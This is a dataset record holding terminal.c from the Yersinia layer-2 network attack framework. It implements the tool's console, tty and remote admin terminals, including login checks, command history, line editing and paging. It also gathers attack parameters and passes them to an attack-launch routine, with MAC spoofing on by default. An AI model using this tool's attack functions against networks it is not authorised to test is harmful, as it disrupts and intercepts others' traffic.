language
stringlengths
0
24
filename
stringlengths
9
214
code
stringlengths
99
9.93M
C
yersinia/src/terminal.c
/* terminal.c * Implementation of network terminal management * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #include <pthread.h> #endif #include "terminal.h" /* * Init terminal list with appropriate values... */ int8_t term_init(void) { int8_t i; terms = (struct terminals *)calloc(1,sizeof(struct terminals)); if (terms == NULL) { thread_error("term_init calloc()", errno); return -1; } if (pthread_mutex_init(&terms->mutex, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex", errno); return -1; } #ifndef HAVE_RAND_R if (pthread_mutex_init(&terms->mutex_rand, NULL) != 0) { thread_error("term_init pthread_mutex_init mutex_rand", errno); return -1; } #endif term_type[TERM_CON].list = terms->list; term_type[TERM_TTY].list = &terms->list[MAX_CON]; term_type[TERM_VTY].list = &terms->list[MAX_CON+MAX_TTY]; for (i=0; i<MAX_CON; i++) { (term_type[TERM_CON].list+i)->type = TERM_CON; (term_type[TERM_CON].list+i)->number = i; } for (i=0; i<MAX_TTY; i++) { (term_type[TERM_TTY].list+i)->type = TERM_TTY; (term_type[TERM_TTY].list+i)->number = i; } for (i=0; i<MAX_VTY; i++) { (term_type[TERM_VTY].list+i)->type = TERM_VTY; (term_type[TERM_VTY].list+i)->number = i; } return 0; } /* * Destroy data initialized on term_init(). * Use global variable terms. */ void term_destroy(void) { #ifndef HAVE_RAND_R /* Destroy rand mutex used by the vty terms...*/ pthread_mutex_destroy(&terms->mutex_rand); #endif pthread_mutex_destroy(&terms->admin_listen_th.finished); pthread_mutex_destroy(&terms->gui_th.finished); pthread_mutex_destroy(&terms->pcap_listen_th.finished); pthread_mutex_destroy(&terms->uptime_th.finished); /* Destroy terminal list mutex... */ pthread_mutex_destroy(&terms->mutex); thread_free_r(terms); } /* * Add a new terminal node. * Parameter '*node' will be NULL if no slots available. * Return -1 on error, 0 if Ok. * Use global array term_type[] */ int8_t term_add_node(struct term_node **node, int8_t type, int sock, pthread_t tid) { int8_t i; struct term_vty *vty; struct term_console *console; struct term_tty *tty; struct term_node *new = term_type[type].list; for (i=0; (i < term_type[type].max) ; i++, new++) { if (!new->up) { new->thread.id = tid; new->thread.stop = 0; if (pthread_mutex_init(&new->thread.finished, NULL) != 0) { thread_error("term_add_node pthread_mutex_init", errno); return -1; } new->state = LOGIN_STATE; /* Default value for MAC spoofing is ON (that's evil!) */ new->mac_spoofing = (tty_tmp->mac_spoofing == -1) ? 1 : tty_tmp->mac_spoofing; new->pcap_file.name = NULL; new->pcap_file.pd = NULL; new->pcap_file.pdumper = NULL; new->used_ints = (list_t *) calloc(1, sizeof(list_t)); new->used_ints->cmp = interfaces_compare; switch(type) { case TERM_CON: new->timeout = TTY_TIMEOUT; new->specific = (void *) calloc(1,sizeof(struct term_console)); if (new->specific == NULL) { thread_error("term_add_node console calloc()",errno); return -1; } console = new->specific; #if defined (TIOCGWINSZ) && defined (HAVE_NCURSES_RESIZETERM) console->need_resize = 0; #endif break; case TERM_TTY: new->timeout = TTY_TIMEOUT; new->specific = (void *) calloc(1,sizeof(struct term_tty)); if (new->specific == NULL) { thread_error("term_add_node tty calloc()",errno); return -1; } tty = new->specific; tty->term = NULL; tty->daemonize = 0; tty->debug = 0; tty->interactive = 0; tty->gtk = 0; tty->attack = -1; tty->config_file[0] = '\0'; break; case TERM_VTY: new->timeout = term_states[LOGIN_STATE].timeout; new->specific = (void *) calloc(1,sizeof(struct term_vty)); if (new->specific == NULL) { thread_error("term_add_node vty calloc()",errno); return -1; } vty = new->specific; vty->width = MID_TERM_WIDTH; vty->height = MID_TERM_HEIGHT; vty->sock = sock; vty->insertmode = 1; break; } new->up = 1; /* initialize the tmp_data structure for each different protocol */ for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; new->protocol[i].pcap_file.name = NULL; new->protocol[i].pcap_file.pd = NULL; new->protocol[i].pcap_file.pdumper = NULL; strncpy(new->protocol[i].name, protocols[i].namep, MAX_PROTO_NAME); new->protocol[i].tmp_data = calloc(1, protocols[i].size); if (new->protocol[i].tmp_data == NULL) { thread_error("term_add_node tmp_data calloc()", errno); return -1; } /* Copy the default values */ memcpy((void *)new->protocol[i].tmp_data, (void *)protocols[i].default_values, protocols[i].size); new->protocol[i].proto = protocols[i].proto; /* Initialize the default values */ if (protocols[i].init_attribs) protocols[i].init_attribs(new); } /* Initialize the commands_struct for each protocol */ for (i = 0; i < MAX_PROTOCOLS; i++) { if (!protocols[i].visible) continue; if (protocols[i].init_commands_struct) { if ( protocols[i].init_commands_struct(new) == -1) return -1; } } *node = new; return 0; } } /* for...*/ *node = NULL; return 0; } /* * Delete terminal from array. * Close peer socket, free command history and release the acquired slot. * Kill the thread if kill_th. */ void term_delete_node( struct term_node *node, int8_t kill_th ) { int8_t i, type_aux,number_aux; struct term_vty *vty; if ( node->up ) { /* First, remove terminal specific data...*/ switch(node->type) { case TERM_VTY: vty = node->specific; /* Free history...*/ for(i=0; i<MAX_HISTORY; i++) { if (vty->history[i] != NULL) thread_free_r(vty->history[i]); } close(vty->sock); /* Free transmission buffer...*/ if (vty->buffer_tx) thread_free_r(vty->buffer_tx); if (kill_th == KILL_THREAD) thread_destroy(&node->thread); break; } thread_free_r(node->specific); for (i = 0; i < MAX_PROTOCOLS; i++) { if ( !protocols[i].visible ) continue; if ( node->protocol[i].pcap_file.pdumper ) interfaces_pcap_file_close( node, i ); thread_free_r( node->protocol[i].tmp_data ); if ( protocols[i].init_commands_struct ) thread_free_r( node->protocol[i].commands_param ); } /* Preserve terminal type and number...*/ type_aux = node->type; number_aux = node->number; if ( node->used_ints ) { dlist_delete(node->used_ints->list); free(node->used_ints); } memset( node, 0, sizeof( struct term_node ) ); node->type = type_aux; node->number = number_aux; } /* if (node->up) */ } /* * Delete all terminals from array. */ void term_delete_all(void) { term_delete_all_console(); term_delete_all_tty(); term_delete_all_vty(); } /* * Delete all consoles from array. * Be aware of using pthread_mutex_lock and unlock * before and after calling it!! */ void term_delete_all_console(void) { term_delete_class(term_type[TERM_CON].list, term_type[TERM_CON].max); } /* * Delete all tty terminals from array. * Be aware of using pthread_mutex_lock and unlock * before and after calling it!! */ void term_delete_all_tty(void) { term_delete_class(term_type[TERM_TTY].list, term_type[TERM_TTY].max); } /* * Delete all vty terminals from array. * Be aware of using pthread_mutex_lock and unlock * before and after calling it!! */ void term_delete_all_vty(void) { term_delete_class(term_type[TERM_VTY].list, term_type[TERM_VTY].max); } /* * Delete a group of 'max' terminals from array beginning at *cursor. * In fact this function just kill the thread associated with the terminal. * The thread will be who will delete the data so here we don't need to * acquire the terms mutex (each thread will acquire it). */ void term_delete_class(struct term_node *cursor, int8_t max) { int8_t i; for (i=0; i<max; i++) if (cursor[i].thread.id) { thread_destroy(&cursor[i].thread); pthread_mutex_destroy(&cursor[i].thread.finished); } } /* * Show the vty banner... (be polite, plz) * Return -1 if error. 0 if Ok. */ int8_t term_vty_banner(struct term_node *node) { return(term_vty_write(node, WELCOME, sizeof(WELCOME)) ); } /* * Show the vty motd...) * Return -1 if error. 0 if Ok. */ int8_t term_vty_motd(struct term_node *node) { int8_t j; j = term_motd(); if (j < 0) return -1; if (term_vty_write(node, (void *)vty_motd[j], strlen(vty_motd[j]))) return -1; return 0; } int8_t term_motd(void) { int8_t j; #ifdef HAVE_RAND_R unsigned int i=(int)time(NULL); j = rand_r(&i); #else if (pthread_mutex_lock(&terms->mutex_rand) != 0) { thread_error("term_motd pthread_mutex_lock()",errno); return -1; } j=rand(); if (pthread_mutex_unlock(&terms->mutex_rand) != 0) { thread_error("term_motd pthread_mutex_unlock()",errno); return -1; } #endif j = j % SIZE_ARRAY(vty_motd); return j; } /* * Write the vty prompt. * Return -1 if error. 0 if Ok. */ int8_t term_vty_prompt(struct term_node *node) { struct term_vty *vty = node->specific; switch(node->state) { case LOGIN_STATE: case PASSWORD_STATE: return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2)) ); break; case NORMAL_STATE: if (vty->authing) return(term_vty_write(node, term_states[node->state].prompt_authing, strlen(term_states[node->state].prompt_authing))); return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2))); break; case ENABLE_STATE: if (vty->authing) return(term_vty_write(node, term_states[node->state].prompt_authing, strlen(term_states[node->state].prompt_authing))); return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2)) ); break; case PARAMS_STATE: if (term_vty_write(node,"[",1) < 0) return -1; if (term_vty_write(node, vty->attack_param[vty->substate].desc, strlen(vty->attack_param[vty->substate].desc)) < 0) return -1; return (term_vty_write(node,"] ",2)); break; case INTERFACE_STATE: return( term_vty_write(node, term_states[node->state].prompt2, strlen(term_states[node->state].prompt2)) ); break; } return -1; } /* * Send the vty telnet negotiation. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_negotiate(struct term_node *node) { if (term_vty_write(node, (char *)neg_default, sizeof(neg_default))) return -1; return 0; } /* * Write to terminal. * Return -1 on error. Return 0 if OKk. */ int8_t term_write(struct term_node *node, char *message, u_int16_t size) { struct term_vty *vty = node->specific; switch(node->type) { case TERM_CON: break; case TERM_TTY: break; case TERM_VTY: if (write(vty->sock, message, size) <= 0 ) { thread_error("term_write write()",errno); return -1; } break; default: break; } return 0; } /* * Move cursor to beginning of line. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_init(struct term_node *node) { struct term_vty *vty = node->specific; int8_t control = DEL; if (!vty->command_cursor) return 0; while(vty->command_cursor) { if ( term_vty_write(node,(char *)&control,1) == -1) return -1; vty->command_cursor--; } return 0; } /* * Move cursor to the left. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_left(struct term_node *node) { struct term_vty *vty = node->specific; int8_t control = DEL; if (!vty->command_cursor) return 0; if ( term_vty_write(node,(char *)&control,1) ) return -1; if (term_vty_flush(node)) return -1; vty->command_cursor--; return 0; } /* * Move cursor to the right. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_right(struct term_node *node) { struct term_vty *vty = node->specific; if (!vty->command_len) return 0; if (vty->command_cursor == vty->command_len ) return 0; if ( term_vty_write(node,(char *)&vty->buf_command[vty->command_cursor], 1) ) return -1; if ( term_vty_flush(node)) return -1; vty->command_cursor++; return 0; } /* * Move cursor to end of line. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_mv_cursor_end(struct term_node *node) { struct term_vty *vty = node->specific; if (!vty->command_len) return 0; if (vty->command_cursor == vty->command_len ) return 0; while(vty->command_cursor != vty->command_len) { if ( term_vty_write(node, (char *)&vty->buf_command[vty->command_cursor],1) ) return -1; vty->command_cursor++; } return 0; } /* * Delete the character on cursor. * Return -1 on error. Return 0 if Ok. */ int8_t term_vty_supr(struct term_node *node) { struct term_vty *vty = node->specific; if (vty->command_len) { if (vty->command_cursor != vty->command_len ) { u_int16_t len; char *auxstr, *message=NULL; if (vty->command_cursor == (vty->command_len - 1) ) len=1; else len = vty->command_len - vty->command_cursor; if (vty->command_cursor == (vty->command_len - 1) ) auxstr = strdup(&vty->buf_command[vty->command_cursor]); else auxstr = strdup(&vty->buf_command[vty->command_cursor+1]); memcpy( &vty->buf_command[vty->command_cursor], auxstr, len); free(auxstr); vty->command_len--; vty->buf_command[vty->command_len]=0; if (term_states[node->state].do_echo) { if (term_vty_clear_line(node,len) == -1) return -1; if (term_vty_write(node, &vty->buf_command[vty->command_cursor], len) == -1) return -1; if (len-1) { message = (char *)malloc(len-1); memset(message, DEL, len-1); if (term_vty_write(node, message,len-1) == -1) { free(message); return -1; } } if (term_vty_flush(node) == -1) { if (message) free(message); return -1; } if (message) free(message); } } } return 0; } /* * Do command. * Return -1 on error. 0 if OK. */ int8_t term_vty_do_command(struct term_node *node) { int16_t i; int8_t gotit=0, fail=0; char msg[128]; struct words_array *warray; struct term_vty *vty = node->specific; if (!vty->command_len && !vty->authing) return 0; vty->buf_command[vty->command_len]=0; switch(node->state) { case LOGIN_STATE: strncpy(node->username,vty->buf_command, sizeof(node->username) - 1); node->state = PASSWORD_STATE; vty->authing = 1; break; case PASSWORD_STATE: if (term_vty_auth(PASSWORD_STATE, node->username, vty->buf_command) == -1) { vty->login_fails++; if (term_vty_write(node,VTY_FAILED,sizeof(VTY_FAILED)) == -1) return -1; if (term_vty_flush(node) == -1) return -1; node->state = LOGIN_STATE; vty->authing = 0; term_vty_clear_username(node); if (vty->login_fails == MAX_FAILS) { if (term_vty_write(node,VTY_GO_OUT,sizeof(VTY_GO_OUT)) == -1) return -1; term_vty_flush(node); return -1; } return 0; } vty->login_fails = 0; vty->authing = 0; node->state = NORMAL_STATE; node->timeout = term_states[NORMAL_STATE].timeout; if (term_vty_motd(node) == -1) return -1; if (term_vty_flush(node) == -1) return -1; break; case NORMAL_STATE: if (vty->authing) { if (term_vty_auth(NORMAL_STATE, NULL, vty->buf_command) == -1) { vty->login_fails++; term_vty_clear_command(node); if (vty->login_fails == MAX_FAILS) { vty->authing=0; vty->login_fails=0; } return 0; } vty->login_fails = 0; vty->authing = 0; node->state = ENABLE_STATE; break; } case ENABLE_STATE: for(i=0;i<vty->command_len;i++) { if (*(vty->buf_command+i) != SPACE) { gotit=1; break; } } if (!gotit) { term_vty_clear_command(node); return 0; } if (term_vty_history_add(node, vty->buf_command, vty->command_len) == -1) return -1; vty->more_tx = vty->buffer_tx; warray = (struct words_array *)calloc(1,sizeof(struct words_array)); if (warray == NULL) return -1; if (term_vty_set_words(node, warray) == -1) { term_vty_free_words(warray); return -1; } #ifdef HAVE_REMOTE_ADMIN if (command_entry_point(node,warray,0,0,0) == -1) { term_vty_free_words(warray); return -1; } #endif term_vty_free_words(warray); break; case PARAMS_STATE: for(i=0;i<vty->command_len;i++) { if (*(vty->buf_command+i) != SPACE) { gotit=1; break; } } if (!gotit) { term_vty_clear_command(node); return 0; } warray = (struct words_array *)calloc(1,sizeof(struct words_array)); if (warray == NULL) { thread_error("do_command warray calloc()", errno); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return -1; } if (term_vty_set_words(node, warray) == -1) { term_vty_free_words(warray); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return -1; } if (warray->nwords != 1) { term_vty_free_words(warray); snprintf(msg,sizeof(msg),"\r\n%% Invalid data!!\r\n"); fail = term_vty_write(node,msg, strlen(msg)); term_vty_clear_command(node); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return fail; } vty->attack_param[vty->substate].print = strdup(warray->word[0]); if (vty->attack_param[vty->substate].print == NULL) { thread_error("do_command strdup()", errno); term_vty_free_words(warray); term_vty_clear_command(node); node->state = ENABLE_STATE; attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; return -1; } if (parser_filter_param(vty->attack_param[vty->substate].type, vty->attack_param[vty->substate].value, vty->attack_param[vty->substate].print, vty->attack_param[vty->substate].size_print, vty->attack_param[vty->substate].size ) < 0 ) { term_vty_free_words(warray); snprintf(msg,sizeof(msg),"\r\n%% Invalid data!!\r\n"); fail = term_vty_write(node,msg, strlen(msg)); term_vty_clear_command(node); free(vty->attack_param[vty->substate].print); vty->attack_param[vty->substate].print = NULL; return fail; } if ((vty->substate+1) == vty->nparams) /* Last parameter */ { attack_launch(node, vty->attack_proto, vty->attack_index, vty->attack_param, vty->nparams); node->state = ENABLE_STATE; vty->attack_param = NULL; vty->nparams = 0; } else { vty->substate++; } term_vty_free_words(warray); break; case INTERFACE_STATE: if (term_vty_history_add(node, vty->buf_command, vty->command_len) == -1) return -1; vty->more_tx = vty->buffer_tx; term_vty_write(node,"\r\n",2); break; } term_vty_clear_command(node); return 0; } void term_vty_clear_username(struct term_node *node) { memset(node->username,0,sizeof(node->username)); term_vty_clear_command(node); } void term_vty_clear_command(struct term_node *node) { struct term_vty *vty = node->specific; memset(vty->buf_command, 0, MAX_COMMAND); vty->command_len = vty->command_cursor = 0; } int8_t term_vty_exit(struct term_node *node) { struct term_vty *vty = node->specific; switch(node->state) { case LOGIN_STATE: case PASSWORD_STATE: case NORMAL_STATE: /* Ok, exit from normal state is like going out...*/ return -1; break; case ENABLE_STATE: node->state = NORMAL_STATE; break; case PARAMS_STATE: attack_free_params(vty->attack_param, vty->nparams); free(vty->attack_param); vty->attack_param = NULL; vty->nparams = 0; node->state = ENABLE_STATE; break; case INTERFACE_STATE: node->state = ENABLE_STATE; break; } return 0; } int8_t term_vty_clear_screen(struct term_node *node) { #ifdef HAVE_REMOTE_ADMIN return (command_cls(node, NULL, 0, 0, 0)); #else return 0; #endif } /* * Do vty auth. * Return -1 if error. Return 0 if auth Ok. */ int8_t term_vty_auth(int8_t state, char *username, char *password) { if ( state == PASSWORD_STATE) /* Normal? */ { if ( ( strlen(username) == strlen(tty_tmp->username) ) && !strcmp(username, tty_tmp->username) && ( strlen(password) == strlen(tty_tmp->password) ) && !strcmp(password, tty_tmp->password) ) return 0; return -1; } if (state == NORMAL_STATE) /* Enable? */ { if ( (strlen(password) == strlen(tty_tmp->e_password)) && !strcmp(password, tty_tmp->e_password) ) return 0; return -1; } return -1; } /* * Add command to history * Return -1 if error. Return 0 if OK. */ int8_t term_vty_history_add(struct term_node *node, char *command, u_int16_t len) { int8_t aux; struct term_vty *vty = node->specific; /* First ask for a free history slot (not updating)...*/ aux = term_vty_history_get_slot(vty->history, HIST_INDEXING, MAX_HISTORY); if ( vty->history[aux] && !strcmp(command, vty->history[aux])) { vty->index_history = aux; return 0; } aux = term_vty_history_get_slot(vty->history, HIST_UPDATING, MAX_HISTORY); vty->history[aux]=(char *)thread_calloc_r((len+1)); if (vty->history[aux] == NULL) { thread_error("term_vty_history_add calloc()",errno); return -1; } memcpy(vty->history[aux],command,len); vty->index_history = aux; return 0; } /* * Find a free history slot. * Return history slot index. * If 'do_move' then we move the history array * freeing the first element. * If 'do_move==0' we return only the index and move/free nothing. */ int8_t term_vty_history_get_slot(char *history[], int8_t do_move, int8_t max_index) { int8_t i; for( i=0; i<max_index; i++) { if (history[i] == NULL) return i; } /* Ok. There is no free slot...*/ /* Do we update the history or just return the index? */ if (do_move) { /* Move history and free the first slot...*/ thread_free_r(history[0]); for(i=0; i<max_index; i++) { if ( i == (max_index-1) ) /* Last slot?*/ break; history[i] = history[i+1]; } history[i]=NULL; return i; } return (i-1); } /* * Arrow up!! * Return -1 on error. Return 0 if OK. */ int8_t term_vty_history_prev( struct term_node *node ) { struct term_vty *vty = node->specific; if ( vty->history[vty->index_history] == NULL ) return 0; if ( !strcmp( vty->history[vty->index_history], vty->buf_command ) && !vty->index_history ) return 0; if ( term_vty_clear_remote(node) == -1) return -1; term_vty_clear_command(node); /* It's necessary?...*/ /* From history buffer to command buffer...*/ if ( strlen( vty->history[vty->index_history] ) <= MAX_COMMAND ) { memcpy(vty->buf_command, vty->history[vty->index_history], strlen( vty->history[vty->index_history] ) ); vty->command_len = strlen(vty->history[vty->index_history]); vty->command_cursor = strlen(vty->history[vty->index_history]); if ( term_vty_write(node, vty->history[vty->index_history], strlen( vty->history[vty->index_history] ) ) == -1 ) return -1; if (term_vty_flush(node) == -1) return -1; if (vty->index_history) vty->index_history--; } return 0; } /* * Arrow down... * Return -1 on error. Return 0 if OK. */ int8_t term_vty_history_next( struct term_node *node ) { int8_t aux; struct term_vty *vty = node->specific; aux = vty->index_history; if ( ( vty->history[aux] == NULL ) || ( aux == ( MAX_HISTORY - 1 ) ) ) { if (vty->command_len) { if (term_vty_clear_remote(node) == -1) return -1; if (term_vty_flush(node) == -1) return -1; } term_vty_clear_command(node); return 0; } if ( !strcmp( vty->history[vty->index_history], vty->history[aux] ) ) aux++; if ( (aux) < MAX_HISTORY ) { if ( vty->history[aux] == NULL ) { if (vty->command_len) { if (term_vty_clear_remote(node) == -1) return -1; if (term_vty_flush(node) == -1) return -1; } term_vty_clear_command(node); return 0; } if (term_vty_clear_remote(node) == -1) return -1; term_vty_clear_command(node); /* It's necessary?...*/ /* From history buffer to command buffer...*/ if ( strlen( vty->history[aux] ) <= MAX_COMMAND ) { memcpy( vty->buf_command, vty->history[aux], strlen( vty->history[aux] ) ); vty->command_len = vty->command_cursor = strlen(vty->history[aux]); if ( term_vty_write(node, vty->history[aux], strlen( vty->history[aux] ) ) == -1 ) return -1; if (term_vty_flush(node) == -1) return -1; vty->index_history = aux; } } return 0; } /* * TAB pressed. Complete a command (not yet). * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_complete_command(struct term_node *node) { int8_t fail; fail = term_vty_help_tab(node,1); return fail; } /* * backspace pressed. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_backspace(struct term_node *node) { struct term_vty *vty = node->specific; if (vty->command_len && vty->command_cursor) { if (vty->command_cursor == vty->command_len ) { if (term_states[node->state].do_echo && !vty->authing) { if (term_vty_write(node, DEL_BACK, sizeof(DEL_BACK)) == -1) return -1; if (term_vty_flush(node) == -1) return -1; } vty->buf_command[vty->command_len-1]=0; vty->command_len--; vty->command_cursor--; } else { u_int16_t len; char *message; len = vty->command_len - vty->command_cursor; memcpy( &vty->buf_command[vty->command_cursor-1], &vty->buf_command[vty->command_cursor], len); vty->buf_command[vty->command_len-1]=0; vty->command_len--; vty->command_cursor--; if (term_states[node->state].do_echo && !vty->authing) { if (term_vty_clear_line(node,len) == -1) return -1; if (term_vty_write(node, DEL_BACK, sizeof(DEL_BACK)) == -1) return -1; if (term_vty_write(node, &vty->buf_command[vty->command_cursor], len) == -1) return -1; message = (char *)malloc(len); if (message == NULL) { thread_error("term_vty_backspace malloc()",errno); return -1; } memset(message, DEL, len); if (term_vty_write(node, message, len) == -1) { free(message); return -1; } if (term_vty_flush(node) == -1) { free(message); return -1; } free(message); } } } return 0; } /* * ? pressed. Show the help. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_help(struct term_node *node) { int8_t fail; fail = term_vty_help_tab(node,0); return fail; } int8_t term_vty_help_tab(struct term_node *node, int8_t tab) { int8_t ret; int8_t as_param=0; struct words_array *warray; struct term_vty *vty = node->specific; vty->buf_command[vty->command_len] = 0; if (vty->command_len) { if (vty->buf_command[vty->command_len-1] == SPACE) as_param = 1; } vty->command_cursor = vty->command_len; warray = (struct words_array *)calloc(1,sizeof(struct words_array)); if (warray == NULL) { thread_error("term_vty_help_tab calloc()",errno); return -1; } if (term_vty_set_words(node, warray) == -1) { term_vty_free_words(warray); return -1; } #ifdef HAVE_REMOTE_ADMIN if (tab) ret = command_entry_point(node,warray,0,as_param,1); else ret = command_entry_point(node,warray,1,as_param,0); #endif term_vty_free_words(warray); return ret; } /* * Clear remote command buffer (that is, on client screen) * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_clear_remote(struct term_node *node) { char buf_tx[MAX_COMMAND*3]; int16_t aux_len, len; struct term_vty *vty = node->specific; if (!vty->command_len) return 0; memset(buf_tx, DEL, (vty->command_len*3) ); if (vty->command_len > vty->command_cursor) aux_len = vty->command_cursor; else aux_len = vty->command_len; len=aux_len; memset( (char *)&buf_tx[aux_len], SPACE, vty->command_len); len+=vty->command_len; len+=vty->command_len; if (term_vty_write(node, buf_tx, len) == -1) return -1; return 0; } /* * Clear a remote line screen. * Remote cursor must be at beginning of line and 'size' must be size of line. * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_clear_line(struct term_node *node, u_int16_t size) { char *buf_tx; buf_tx = (char *)calloc(1,(size*2)); if (buf_tx == NULL) { thread_error("term_vty_clear_line malloc()",errno); return -1; } memset(buf_tx, SPACE, size); memset((buf_tx+size), DEL, size); if (term_vty_write(node, buf_tx, (size*2)) == -1) { thread_free_r(buf_tx); return -1; } thread_free_r(buf_tx); return 0; } /* * Flush the buffer_tx terminal * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_flush(struct term_node *node) { int8_t fail=0, more=0; void *aux; struct term_vty *vty = node->specific; if (!vty->buffer_tx || !vty->buffer_tx_len) return 0; if ( (node->state == LOGIN_STATE) || (node->state == PASSWORD_STATE) ) { fail = term_write(node,vty->buffer_tx,vty->buffer_tx_len); thread_free_r(vty->buffer_tx); vty->buffer_tx = NULL; vty->buffer_tx_len = 0; return fail; } if (vty->more_tx==NULL) aux = vty->buffer_tx; else aux = vty->more_tx; more = term_vty_more(node); if (vty->buffer_tx == vty->more_tx) fail = term_write(node, aux, vty->buffer_tx_len); else fail = term_write(node, aux, (vty->more_tx - aux)); if (more) { if (!fail) fail = term_write(node, VTY_MORE, strlen(VTY_MORE)); vty->moremode = 1; } else { thread_free_r(vty->buffer_tx); vty->buffer_tx = NULL; vty->more_tx = NULL; vty->buffer_tx_len = 0; vty->more_tx_len = 0; vty->moremode = 0; } return fail; } /* * Return -1 if buffer is greater than terminal (so use 'more' mode). * Return 0 otherwise. */ int8_t term_vty_more(struct term_node *node) { int16_t i,caracs=0, lines=0, buff_size; void *buffer, *buff_end; struct term_vty *vty = node->specific; buff_end = (vty->buffer_tx + vty->buffer_tx_len); if (vty->more_tx == NULL) vty->more_tx = vty->buffer_tx; buffer = vty->more_tx; buff_size = (buff_end-buffer); for (i=0; i<buff_size; i++, buffer++) { if (caracs && !(caracs%vty->width)) { lines++; if (!(lines%vty->height)) { vty->moremode=1; vty->more_tx_len = (buffer - vty->more_tx); vty->more_tx = buffer; return -1; } caracs=0; continue; } switch(* (char *)buffer) { case '\n': lines++; if (!(lines%vty->height)) { vty->moremode=1; vty->more_tx_len = (buffer - vty->more_tx); vty->more_tx = buffer; return -1; } caracs=0; break; default: caracs++; break; } } vty->more_tx_len = (buffer - vty->more_tx); vty->more_tx = buffer; return 0; } /* * Write data to vty. * Return -1 if error. Return 0 if Ok. */ int8_t term_vty_write(struct term_node *node, char *message, u_int16_t size) { if (term_vty_buffer_add(node, message, size) == -1) return -1; return 0; } /* * Add data to outgoing buffer. * Return 0 if Ok. Return -1 on error. */ int8_t term_vty_buffer_add(struct term_node *node, void *buffer, u_int16_t size) { void *aux; struct term_vty *vty = node->specific; if (!buffer || !size) return 0; aux = calloc(1,(vty->buffer_tx_len+size)); if (aux == NULL) { thread_error("term_vty_buffer_add calloc()",errno); return -1; } if (vty->buffer_tx_len) memcpy( aux, vty->buffer_tx, vty->buffer_tx_len ); memcpy( (aux+vty->buffer_tx_len), buffer, size); vty->buffer_tx_len += size; thread_free_r(vty->buffer_tx); vty->buffer_tx = aux; return 0; } int8_t term_vty_set_words(struct term_node *node, struct words_array *warray) { struct term_vty *vty = node->specific; char *begin; u_int16_t i, j, aux=0, indx=0; for(i=0;i<vty->command_len;i++) { if (*(vty->buf_command+i) != SPACE) { begin = vty->buf_command+i; j=0; while( (*(begin+j)!=SPACE) && *(begin+j)) j++; if (*(begin+j) == SPACE) { aux=1; *(begin+j) = 0; } else aux=0; warray->nwords++; warray->word[indx]=strdup(begin); if (warray->word[indx]==NULL) return -1; if (warray->nwords == MAX_WORDS) { if (aux) *(begin+j) = SPACE; break; } if (aux) *(begin+j) = SPACE; indx++; i+=j; } } return 0; } /* * Free words array structure... */ void term_vty_free_words(struct words_array *warray) { u_int8_t i; for (i=0; i<warray->nwords; i++) if (warray->word[i]) free(warray->word[i]); free(warray); } /* * Completion command for '*word'. Used if TAB pressed. */ int8_t term_vty_tab_subst(struct term_node *node, char *word, char *comm) { struct term_vty *vty = node->specific; char *aux, *aux2; u_int16_t i, spaces, diff; int16_t res; spaces = 0; i = vty->command_len-1; while(1) { if (*(vty->buf_command+i) != SPACE) { aux=(vty->buf_command+i); break; } spaces++; i--; } diff = (strlen(comm)-strlen(word)); res = vty->command_len - spaces + diff + 1; if (diff == 0) /* Exact word, just add another ' ' */ { if (res<MAX_COMMAND) { if (vty->command_len < res) { *(aux+1) = ' '; vty->command_len++; vty->command_cursor++; vty->buf_command[vty->command_len] = 0; } } return 0; } aux2 = (comm+strlen(word)); if (res<MAX_COMMAND) { if (res > vty->command_len) { memcpy((aux+1),aux2,strlen(aux2)); vty->buf_command[vty->command_len+strlen(aux2)] = ' '; vty->command_len+=strlen(aux2)+1; vty->command_cursor+=strlen(aux2)+1; vty->buf_command[vty->command_len] = 0; return 0; } } return 0; }
C/C++
yersinia/src/terminal.h
